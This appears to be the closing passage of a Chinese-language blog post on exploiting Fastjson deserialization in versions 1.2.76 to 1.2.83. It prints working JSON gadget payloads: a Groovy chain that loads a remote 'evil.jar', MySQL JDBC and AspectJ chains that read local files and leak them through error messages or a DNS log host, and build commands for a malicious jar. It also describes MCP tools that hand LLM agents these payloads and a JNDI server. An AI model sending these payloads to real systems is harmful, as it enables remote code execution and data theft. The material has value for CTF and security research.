{"a":"{\"@type\":\"java.lang.Exception\",\"@type\":\"com.fasterxml.jackson.core.exc.InputCoercionException\",\"p\":{}}","b":{"$ref":"$.a.a"},"c":"{\"@type\":\"com.fasterxml.jackson.core.JsonParser\",\"@type\":\"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\",\"in\":{}}","d":{"$ref":"$.c.c"}}

[INFO] Step2:
{"@type":"java.io.InputStream","@type":"com.mysql.jdbc.CompressedInputStream","conn":{"@type":"com.mysql.jdbc.JDBC4Connection","hostToConnectTo":"127.0.0.1","portToConnectTo":3306,"info":{"useSSL":"false","user":"mysql","HOST":"xxx","statementInterceptors":"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true","NUM_HOSTS":"1",,"socketFactory":"com.mysql.jdbc.NamedPipeSocketFactory","namedPipePath":"[Pipe_file_path]","DBNAME":"test"},"databaseToConnectTo":"test","url":""}}

groovy(出网加载 jar

1.2.76 <= fastjson < 1.2.83

// 第一次发包
{
    "@type":"java.lang.Exception",
    "@type":"org.codehaus.groovy.control.CompilationFailedException",
    "unit":{}
}

// 第二次发包
{
    "@type":"org.codehaus.groovy.control.ProcessingUnit",
    "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
    "config":{
     "@type":"org.codehaus.groovy.control.CompilerConfiguration",
     "classpathList":"http://127.0.0.1:8090/evil.jar"
    }
}

利用的是 SPI 机制,yaml 反序列化里也接触过。

src 下创建 META-INF/services/org.codehaus.groovy.transform.ASTTransformation,写入恶意类全类名。

然后执行(恶意 jar 名可以改):

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

java-chains 也可以直接生成:

aspectjtools 读文件(需回显)

//第一次
{
    "@type":"java.lang.Exception",
    "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"
}

// 第二次
{
    "@type":"java.lang.Class",
    "val":{
        "@type":"java.lang.String"{
        "@type":"java.util.Locale",
        "val":{
            "@type":"com.alibaba.fastjson.JSONObject",
             {
                "@type":"java.lang.String"
                "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException",
                "newAnnotationProcessorUnits":[{}]
            }
        }
    }

// 第三次
{
    "x":{
        "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
        "@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
        "fileName":"c:/windows/win.ini"
    }
}

// 第三次,报错回显
{
    "@type": "java.lang.Character" {
        "C": {
            "x": {
                "@type": "org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
                "@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
                "fileName": "D:/flag.txt"
            }
        }
    }
}

// 第三次,dns回显
{"a":{"@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName":"/Users/su18/Downloads/1.txt"},"b":
{"@type":"java.net.Inet4Address","val":{"@type":"java.lang.String"{"@type":"java.util.Locale", "val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type": "java.lang.String""@type":"java.util.Locale", "language":{"@type":"java.lang.String"{"$ref":"$"},"country":"aw.su18.dnslog.pw"}}}}}

ognl+io 读写文件 / 目录

遇见得比较少,这里不展开了,直接给链接(懒癌犯了):

首次出现于 KCON2022

[https://github.com/knownsec/KCon/blob/master/2022/Hacking%20JSON%E3%80%90KCon2022%E3%80%91.pdf](https://github.com/knownsec/KCon/blob/master/2022/Hacking JSON【KCon2022】.pdf)

https://github.com/kezibei/fastjson_payload/blob/main/src/test/Fastjson22_ognl_io_read_error_dnslog.java

https://github.com/su18/hack-fastjson-1.2.80

读文件时要结合回显:http / DNS / 报错等;或者逐字节读,靠报错或是否发起 http 请求来判断。

ajt+xalan+dom4j+io

https://github.com/kezibei/fastjson_payload/blob/main/src/test/Fastjson21_ajt_xalan_dom4j_io_read_httplog.java

这些依赖组合起来比较少见,也许会在某些框架项目里碰到。受限于笔者知识,这里不深入了。

后面还有一系列不需要 ajt 依赖的:

https://github.com/kezibei/fastjson_payload/blob/main/src/test/Fastjson27_xalan_dom4j_io_read_error_dnslog.java

相关题目

https://github.com/luelueking/CVE-2022-25845-In-Spring

Fastjson Decoder-docker环境下的利用

https://github.com/1diot9/CTFJavaChallenge/tree/main/2025/%E4%BA%AC%E9%BA%92CTF

https://mp.weixin.qq.com/s/GEGPpQ_1nflO_w4cefB-xA

http://www.bmth666.cn/2022/10/19/Fastjson%E9%AB%98%E7%89%88%E6%9C%AC%E7%9A%84%E5%A5%87%E6%8A%80%E6%B7%AB%E5%B7%A7/

https://flowerwind.github.io/2025/02/28/%E5%88%86%E4%BA%AB%E4%B8%80%E6%AC%A1%E7%BB%84%E5%90%88%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98%E6%8B%BF%E4%B8%8B%E7%9B%AE%E6%A0%87/ 83版本,配合其他写文件漏洞,也能getshell

https://1diot9.github.io/2026/02/18/%E4%BA%AC%E9%BA%92CTF25-FastJ/ JDK11写文件漏洞在80版本的特殊利用

相关工具

Fastjson 最大的特点是:换个环境,PoC往往得改一改才能用。所以笔者这边写的工具,定位不太一样——主要给LLM/Agent 提供payload模板、标准PoC脚本和漏洞分析文档,当知识库用;把「组件识别、版本探测、依赖探测」这类相对能稳定跑通的活,交给代码。

现在还是demo级别,没怎么过实战,只在本地靶场测过;能力和框架基本齐了,师傅们有兴趣可以提 Issue/PR,或者自己二开。

FastjsonExpToolkit

https://github.com/1diot9/FastjsonExpToolkit

Fastjson 全版本探测 / PoC / WAF 绕过工具箱,Web UI 和 MCP(Agent)共用同一套引擎。

大致能力:

1、detect_pipeline:识别 → 版本 → 期望类 2、deps_probe:依赖 / classpath 探测(Character 报错回显,可降级 Class MiscCodec,也可走 DNS 3、poc_catalog / poc_run / poc_script:按版本列 gadget、生成或发送 PoC,复杂逻辑可取原脚本自己改 4、docs_list / docs_get:内置探测与各版本分析文档 5、Web 端还有 /detect/poc/waf/lab 等页面,以及 Docker 靶场启停

推荐工作流:detect_pipelinedeps_probepoc_catalog / poc_run;需要改脚本时走 poc_script

JNDI-Exp-MCP

https://github.com/1diot9/JNDI-Exp-MCP

给 Agent 提供「起 JNDI 服务」能力的 MCP 工具。引擎基于 kezibei/JNDIexp,补了内置字节码挂载。

同时也内置了几个测试靶场,能满足版本探测,gadget测试的功能。

大致流程:catalog_listjndi_startbytecode_mount / ldap_url_build → 把 ldap://... 交给上游 Fastjson PoC → session_hits 看命中。和 FastjsonExpToolkit 搭配时,一个负责拼链路,一个负责起 LDAP / codebase。

其它常用

文中多处 payload也可直接用 java-chains 生成(Currency、ioFinal、groovy、PostgreSql 等)。靶场环境可参考 FastJsonParty

后记

感谢前辈们的优秀文章,让我学到了不少新东西。

网上开源的 Fastjson 扫描工具很多都停更了,所以这边也顺手写了点(见上文「相关工具」),还很粗糙,有空再慢慢补。

很多 payload来自 KCON、GEEKCON 这类会议。以后有空把各种会议里和 Java 相关的 PPT 收集一下,也是一种学习方式。

参考

springboot环境下的写文件RCE

Fastjson高版本的奇技淫巧

Fastjson反序列化漏洞复现 | Yang Hao's blog

Fastjson commons-io任意文件读写

fastjson 读文件 gadget 的利用场景扩展

https://changeyourway.github.io/2025/08/23/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-Fastjson%201.2.68-1.2.80%20%E5%88%A9%E7%94%A8/#PostgreSQL-JDBC

fastjson 1.2.80 漏洞分析

https://kagty1.github.io/2026/01/18/Fastjson%201.2.80%20%E8%AF%BB%E5%86%99%E6%96%87%E4%BB%B6%20&%20SpringBoot%E5%88%A9%E7%94%A8%20&%20Postgresql%E5%88%A9%E7%94%A8_cos/#postgresql-%E5%88%A9%E7%94%A8

GitHub - lemono0/FastJsonParty

炒冷饭之FastJson

Ghost Bits详解

fastjson 1.2.80的一些小链

Fastjson 1.2.83 checkAutoType 绕过 RCE 复现总结-先知社区

fastjson 1.2.83 JSONType RCE详解

奇安信攻防社区-手撕 FastJson 1.2.83 RCE 原理